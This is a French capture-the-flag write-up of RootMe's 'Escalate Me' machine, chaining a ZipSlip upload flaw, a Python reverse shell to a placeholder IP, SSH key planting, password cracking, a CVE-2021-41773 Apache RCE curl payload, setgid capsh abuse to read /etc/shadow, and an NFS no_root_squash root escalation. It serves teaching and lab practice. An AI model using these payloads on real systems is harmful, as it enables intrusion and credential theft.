EC2 & RootMe - Challenge réaliste Escalate Me
Introduction
Dans cet article je vous propose un writeup du challenge Escalate Me proposé par la plateforme RootMe à l’European Cyber Cup 2022 à Lille.
Enoncé du challenge
Un stagiaire peu soucieux de la sécurité a mis en place un nouveau site pour votre entreprise. Celui-ci à négligé certaines règles de base d’administration système. Exploitez chaque erreur de configuration jusqu’à obtenir les droits d’administration sur la machine.
Ressources associées:
- https://geekflare.com/fr/apache-web-server-hardening-security/
- https://book.hacktricks.xyz/linux-unix/privilege-escalation
En cliquant sur Démarrer le challenge vous pouvez démarrer cette VM sur RootMe.
Phase de reconnaissance externe
Scan des ports ouverts
Dans un premier temps, nous allons scanner la machine pour trouver des ports ouverts et les différents services qui y tournent. Pour cela nous utilisons la commande suivante nmap -p- -sV ctf35.root-me.org -oN nmap.txt
et nous obtenons ces résultats:
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-12 09:47 CEST
Nmap scan report for ctf35.root-me.org (163.172.229.173)
Host is up (0.027s latency).
Not shown: 65525 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp filtered smtp
80/tcp open http Apache httpd
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs_acl 3 (RPC #100227)
3000/tcp open http Werkzeug httpd 0.12.2 (Python 2.7.16)
35097/tcp open nlockmgr 1-4 (RPC #100021)
45451/tcp open mountd 1-3 (RPC #100005)
50341/tcp open mountd 1-3 (RPC #100005)
56301/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.35 seconds
Nous remarquons tout de suite deux ports exposant des applications web, le port 80/tcp
(exposant un serveur apache2) et le 3000/tcp
(exposant un service Python) :
Le serveur apache2 sur le port 80
Sur le port 80, un serveur Apache2 expose une application web protégée par une Basic Authentification :
L’application Flask sur le port 3000
Sur le port 3000, un serveur python Werkzeug expose une application web écrite en Python avec le module Flask.
Nous pouvons télécharger le code source du site directement depuis la page d’acceuil, et envoyer une candidature à l’entreprise :
Nous allons maintenant analyser ce code source pour identifier de potentielles vulnérabilités.
Obtenir un shell sur la machine
Vulnérabilité zip slip dans l’application web
Maintenant que nous avons le code source, nous pouvons commencer à l’analyser. On remarque très vite le comportement de la page /upload
qui nous permet d’uploader une archive ZIP et de la dézipper coté serveur. La décompression de l’archive est réalisée par la fonction suivante :
def unzip(zipped_file, extract_path):
try:
files = []
with zipfile.ZipFile(zipped_file, "r") as z:
for fileinfo in z.infolist():
filename = fileinfo.filename
data = z.open(filename, "r")
files.append(filename)
outfile_zipped = os.path.join(extract_path, filename)
if not os.path.exists(os.path.dirname(outfile_zipped)):
try:
os.makedirs(os.path.dirname(outfile_zipped))
except OSError as exc:
if exc.errno != errno.EEXIST:
print "\nRace Condition"
if not outfile_zipped.endswith("/"):
with io.open(outfile_zipped, mode='wb') as f:
f.write(data.read())
data.close()
return files
except Exception as e:
print "Unzipping Error" + str(e)
Dans cette fonction, nous pouvons remarquer que la fonction unzip()
est vulnérable à l’attaque ZipSlip. En effet la ligne 334 dans cette fonction réalise un os.path.join
sur le chemin d’extraction extract_path
(non contrôlé par l’attaquant) et le filename
de chaque fichier de l’archive (eux sont contrôlés par l’attaquant).
outfile_zipped = os.path.join(extract_path, filename)
Le filename
étant chargé depuis le nom du fichier contenu dans l’archive ZIP, lorsque la fonction unzip()
réalise un os.path.join
sur extract_path
et filename
nous obtenons un path traversal: ./uploads/../../../../../tmp/test.txt
. Cette Vulnérabilité nous permet d’uploader des fichiers où l’on veut sur le système distant.
Réécriture de app.py pour créer un nouvelle route
Pour exploiter la faille ZipSlip que nous avons identifié plus haut, nous allons créer une archive ZIP avec un fichier ayant un nom commençant par des ../
. Ceci nous permettra d’écrire notre fichier ou l’on veut sur le système.
@app.route('/shell', methods=['GET'])
def shell():
import pty, socket, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.2.3.4", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/sh")
return "shell is down ..."
Une fois créée, nous pouvons vérifier la validité de l’archive et du nom de fichier avec 7z l exploit.zip
:
$ 7z l exploit.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz (306A9),ASM,AES-NI)
Scanning the drive for archives:
1 file, 19663 bytes (20 KiB)
Listing archive: exploit.zip
--
Path = exploit.zip
Type = zip
Physical Size = 19663
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2022-06-08 14:03:58 ..... 19547 19547 ../app.py
------------------- ----- ------------ ------------ ------------------------
2022-06-08 14:03:58 19547 19547 1 files
Et nous voyons bien notre fichier ../app.py
présent dans l’archive.
Obtenir un reverse shell en tant que l’utilisateur flask
Pour terminer cette phase de l’exploitation, nous allons téléverser ce fichier sur la page /upload
de l’application Flask.
Ensuite nous accédons à la route /shell
pour lancer notre reverse shell.
Téléverser une clé SSH
Une fois que nous avons un accès à la machine distante via un reverse shell, nous pouvons récupérer l’utilisateur utilisé par l’application Flask, ici l’utilisateur flask
. Nous en aurons besoin pour savoir dans quel dossier téléverser la clé SSH sur le serveur.
Pour faire plus simple, nous pourrions téléverser une clé SSH dans /home/flask/.ssh/authorized_keys
grâce à la vulnérabilité ZipSlip pour avoir un shell stable via SSH. Pour cela, nous allons créer une archive contenant une clé publique dans le fichier authorized_keys
et effectuer une path traversal pour l’écrire sur /home/flask/.ssh/authorized_keys
.
$ 7z l exploit.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz (306A9),ASM,AES-NI)
Scanning the drive for archives:
1 file, 19663 bytes (20 KiB)
Listing archive: exploit.zip
--
Path = exploit.zip
Type = zip
Physical Size = 19663
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2022-06-08 14:03:58 ..... 19547 19547 ../../../../../home/flask/.ssh/authorized_keys
------------------- ----- ------------ ------------ ------------------------
2022-06-08 14:03:58 19547 19547 1 files
Maintenant que cette archive est créée, nous n’avons plus qu’à l’uploader sur l’application web hébergée sur http://ctf35.root-me.org:3000 pour que notre accès SSH soit prêt.
Accès shell en tant que flask
Nous avons donc deux moyens d’obtenir un accès shell sur le serveur distant.
-
Via un reverse shell: Après réécriture du fichier
app.py
grâce à la faille ZipSlip, nous démarrons un listenner netcat sur notre machine attaquante et nous accédons à la nouvelle route/shell
de l’application. -
Via SSH: Une fois que la clé publique à été correctement uploadée, nous pouvons nous connecter grâce à la commande suivante:
ssh flask@ctf35.root-me.org -i ./id_rsa
. (Note: Il est nécessaire de d’abord récupérer l’utilisateur utilisé par l’application Flask)
Escalade de privilèges de flask à www-data
Maintenant que nous avons un accès shell en tant que l’utilisateur flask
, nous allons effectuer une phase de reconnaissance pour trouver comment élever nos privilèges.
Reconnaissance en tant que flask
Sur le serveur distant, nous avons 6 utilisateurs intéressants : flask
, construction
, debian
, www-data
, admin
, root
.
$ ls -lha /home/
total 20K
drwxr-xr-x 5 root root 4,0K mai 27 07:32 .
drwxr-xr-x 18 root root 4,0K juin 12 09:45 ..
drwxr-x--- 3 admin admin 4,0K mai 27 07:40 admin
drwxr-xr-x 15 debian debian 4,0K mai 27 07:45 debian
drwxr-xr-x 8 flask flask 4,0K mai 30 02:03 flask
$
Nous allons maintenant chercher le fichier .htpasswd
contenant les identifiants permettant d’accéder à l’application web hébergée sur le serveur Apache2. Nous les trouvons dans /usr/local/apache2/htdocs/.htpasswd
pour l’utilisateur construction
:
$ find / -name ".htpasswd" -type f 2>/dev/null
/usr/local/apache2/htdocs/.htpasswd
$ cat /usr/local/apache2/htdocs/.htpasswd
construction:$apr1$W1ML7VzP$XuznQ.ierNEMwKOB0KfZ7/
Nous pouvons maintenant cracker ce mot de passe, en espérant qu’il soit faible.
Cracking du mot de passe de .htpasswd
Nous allons utiliser john
pour casser ce hash md5crypt
:
$ john hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 16 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 294 candidates buffered for the current salt, minimum 384 needed for performance.
Proceeding with wordlist:./run/password.lst, rules:Wordlist
america (construction)
1g 0:00:00:00 DONE 2/3 (2022-06-12 11:41) 16.66g/s 41800p/s 41800c/s 41800C/s 123456..keeper
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Le mot de passe pour accéder au serveur apache2 avec l’utilisateur construction
est america
.
Accès à l’application web sur le port 80
Maintenant que nous avons les identifiants nous allons pouvoir accéder au serveur apache2 avec l’utilisateur construction
.
RCE sur Apache2 avec la CVE-2021-41773
Certaines versions du serveur Apache2 sont vulnérables à une faille “Path traversal” permettant d’accéder à des fichier en dehors des répertoires configurés par des directives de type Alias. Si les scripts CGI sont également activés pour ces chemins avec alias, cela pourrait permettre l’exécution de code à distance.
Pour exécuter des commandes sur la machine distante nous utilisons la payload suivante :
curl "http://ctf35.root-me.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh" --data 'echo Content-Type: text/plain; echo; mkdir /tmp/poda/' -H 'Authorization: Basic Y29uc3RydWN0aW9uOmFtZXJpY2E='
Nous allons utiliser cela pour créer un shell SUID en tant que www-data
dans /tmp/
de la manière suivante :
mkdir /tmp/www-data/
chmod 777 /tmp/www-data/
cp /bin/sh /tmp/www-data/sh
chmod 4777 /tmp/www-data/sh
Une fois intégrées dans la payload d’exploitation de la CVE-2021-41773, nous avons :
curl "http://ctf35.root-me.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh" --data 'echo Content-Type: text/plain; echo; mkdir /tmp/www-data/; chmod 777 /tmp/www-data/; cp /bin/sh /tmp/www-data/sh; chmod 4777 /tmp/www-data/sh;' -H 'Authorization: Basic Y29uc3RydWN0aW9uOmFtZXJpY2E='
Ensuite on lance le reverse shell depuis l’application Flask et on lance localement le shell SUID de www-data
avec /tmp/www-data/sh -p
:
Escalade de privilèges de www-data à admin
Nous avons maintenant un shell en tant que www-data
.
Phase de reconnaissance
Maintenant que nous avons un shell en tant que www-data
nous allons chercher comment élever nos privilèges à nouveau. Pour cela nous pouvons chercher tous les fichiers appartenant à notre utilisateur courant (ici www-data
) :
www-data@escalate-me:/$ find / -user www-data -type f -ls 2>/dev/null
...
1047416 28 -rwxr-sr-x 1 www-data shadow 26776 mai 25 02:00 /usr/bin/capsh
1449524 24 -rw-r--r-- 1 www-data www-data 23773 mai 27 03:02 /usr/local/apache2/htdocs/index.html
1449525 4 -rw-r--r-- 1 www-data www-data 3652 mai 27 02:48 /usr/local/apache2/htdocs/style.css
1449526 20 -rw-r--r-- 1 www-data www-data 18049 mai 27 02:48 /usr/local/apache2/htdocs/undraw_dev_productivity_umsq\ 1.svg
1051241 4 -rw-r--r-- 1 www-data www-data 113 mai 27 01:13 /usr/local/apache2/htdocs/.htaccess
1072191 24 -rw-r--r-- 1 www-data www-data 23750 mai 27 04:52 /usr/local/apache2/htdocs/index.html.save
1047801 4 -rw-r--r-- 1 www-data www-data 51 mai 27 01:11 /usr/local/apache2/htdocs/.htpasswd
1048119 4 -rw-r--r-- 1 www-data www-data 113 mai 27 01:41 /usr/local/apache2/cgi-bin/.htaccess
1446756 120 -rwsrwxrwx 1 www-data www-data 121464 juin 12 14:29 /tmp/www-data/sh
L’un des fichiers trouvé est très intéressant. Le binaire /usr/bin/capsh
appartient à l’utilisateur www-data
mais fait partie du groupe shadow
avec un bit setgid sur ce binaire.
Lancement d’un shell dans le groupe shadow
Nous avons un binaire /usr/bin/capsh
appartenant à l’utilisateur www-data
avec un bit setgid pour le groupe shadow
.
www-data@escalate-me:/$ ls -lha /bin/capsh
-rwxr-sr-x 1 www-data shadow 27K mai 25 02:00 /bin/capsh
Si nous arrivons à utiliser ce binaire pour ouvrir un shell, nous serons dans le groupe shadow
(grâce au bit setgid présent) et cela nous permettra de récupérer les hashs des mots de passe de tous les utilisateurs.
$ /bin/capsh -h
usage: /bin/capsh [args ...]
--help this message (or try 'man capsh')
...
--uid=<n> set uid to <n> (hint: id <username>)
--gid=<n> set gid to <n> (hint: id <username>)
...
-- remaining arguments are for /bin/bash
(without -- [/bin/capsh] will simply exit(0))
Quelques options sont ici très intéressantes! Nous pouvons spécifier l’uid et le gid du shell qui sera démarré par /bin/capsh
. Nous allons récupérer l’uid de www-data
depuis /etc/passwd
et le gid de shadow
depuis /etc/group
:
$ cat /etc/group | grep shadow
shadow:x:42:
$ cat /etc/passwd | grep www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
$
La payload finale est la suivante (sans oublier le -p
pour conserver les droits au lancement de /bin/bash
) :
www-data@escalate-me:/tmp/poda$ /bin/capsh --gid=42 --uid=33 -- -p
bash-5.0$ id
uid=33(www-data) gid=1003(flask) egid=42(shadow) groupes=42(shadow),1003(flask)
Lecture de /etc/shadow
Comme notre shell est lancé avec les droits uid=33(www-data) gid=1003(flask) egid=42(shadow)
nous sommes dans le groupe shadow
et nous pouvons extraire le hash de l’utilisateur admin
en lisant le contenu de /etc/shadow
:
bash-5.0$ cat /etc/shadow
root:$1$BccgLs3f$yIaTwKdZQ7Zdl1zvmMw/X.:19139:0:99999:7:::
debian:$6$N/AwvBbwhhWiZqXU$rX2APdc8Ssriy5l9EUn752gkyWABr.MjgeUoNq9aY..h20qZ6I/LlwOIwhmlHO/FIMcgPvFc7iX37pUrRLZ1S/:19139:0:99999:7:::
admin:$1$PwNmeBr0$VXoK.aIm.K3q8v1zUyZ0I1:19137:0:99999:7:::
contruction:$6$j8kVM4dsKAurztJ0$6bwRC/Bbkn5JnEtwW7CDNs3zqqpg1mXtCHKv/GvK5hFfCkGHmlRlNLxYyc125kEpOkiTrhrLNZugGNzP9n39./:19139:0:99999:7:::
flask:$6$IvWvjV.IWHTY5KX9$F93t9p1hA4X2Ka24xlTSzNVG9btG0rTOMGg8zhiVsKT3pBbKPLkBGrch.dPz4pVOz7vp9S5h6J.H2bQT6YBAy1:19139:0:99999:7:::
bash-5.0$
Et nous allons tenter de le casser avec john
:
podalirius@hermes:~/Softwares/john-1.9.0-jumbo-1$ ./run/john ./hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 48 needed for performance.
Proceeding with wordlist:./run/password.lst, rules:Wordlist
loveyou (admin)
1g 0:00:00:00 DONE 2/3 (2022-06-09 09:34) 5.263g/s 24515p/s 24515c/s 24515C/s keller..rocket1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Nous connaissons maintenant le mot de passe de l'admin
. Le mot de passe est loveyou
.
Escalade de privilèges de admin à root
Maintenant que nous connaissons le mot de passe de l’admin, nous pouvons nous connecter directement en SSH au serveur distant.
Phase de reconnaissance
Lors de la phase de reconnaissance nous trouvons le fichier de configuration /etc/exports
des dossiers partagés NFS. Cette configuration NFS expose le dossier local /home/admin
à toutes les adresses IP source (c’est l’option *
dans la ligne de configuration) et possède le flag no_root_squash
.
$ cat /etc/exports
cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/admin *(rw,no_root_squash,insecure)
$
Le flag no_root_squash
est une configuration vulnérable à une escalade de privilège car les droits SUID des binaires sont conservés par le dossier partagé. Si un attaquant monte le dossier partagé et dépose un shell /bin/sh
possédé par root
et ayant un bit SUID, il pourra ensuite élever ses privilèges localement depuis un shell sur le serveur et un accès au fichier SUID qu’il a déposé. C’est ce que nous allons faire !
Montage du dossier partagé
Pour monter le dossier partagé sur votre machine, vous aurez besoin du paquet nfs-common
pour pouvoir monter ce type de système de fichier.
apt install nfs-common
Une fois que vous l’avez installé, vous pouvez monter le dossier partagé à l’aide de la commande suivante :
root@THOR:/tmp# mkdir /tmp/mnt
root@THOR:/tmp# mount -t nfs ctf35.root-me.org:/home/admin /tmp/mnt
Ensuite on peut vérifier que le dossier est bien monté avec un ls -lha
, qui nous indique des fichiers appartenant à l’utilisateur 1001
(le admin
du serveur distant) :
root@THOR:/tmp# cd mnt/
root@THOR:/tmp/mnt# ls -lha
total 32K
drwxr-x--- 3 1001 1001 4,0K mai 27 07:40 .
drwxrwxrwt 19 root root 20K juin 12 13:21 ..
-rw------- 1 1001 1001 6 mai 30 02:33 .bash_history
drwx------ 3 1001 1001 4,0K mai 27 07:40 .gnupg
root@THOR:/tmp/mnt#
Nous n’avons plus qu’a préparer notre exploit !
Copie et lancement du shell suid root
Maintenant que nous avons un lien entre notre dossier local /tmp/mnt
et le dossier distant /home/admin
, nous allons copier un shell et lui appliquer des permissions SUID root. Pour cela, nous allons copier /bin/sh
dans /tmp/mnt
(avec cp /bin/sh /tmp/mnt
) et lui ajouter le bit suid root ainsi que les permissions 777 (avec chmod 4777 /tmp/mnt/sh
). Nous avons alors un shell SUID root dans le dossier partagé :
Maintenant, nous nous connectons à la machine en SSH avec l’utilisateur admin
et le mot de passe loveyou
cassé depuis /etc/shadow
et nous lançons le shell SUID root. Attention à ne pas oublier l’option -p
sinon les privilèges SUID ne serons pas conservés. L’explication détaillée de ce comportement et de l’utilité de l’option -p
se trouve ici.
Les droits sont bien passés, comme nous le voyons nous avons un shell avec euid=0(root)
. Pour effectuer des actions plus poussées sans être limité, il est intéressant d’avoir un véritable shell avec uid=0(root)
. Pour cela, nous pouvons utiliser python pour passer d’un euid à un uid, grâce à cette payload :
python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'
Nous lançons cette payload, et nous obtenons un véritable shell root
:
Conclusion
Voici un graph résumant les différentes étapes d’exploitation de cette box :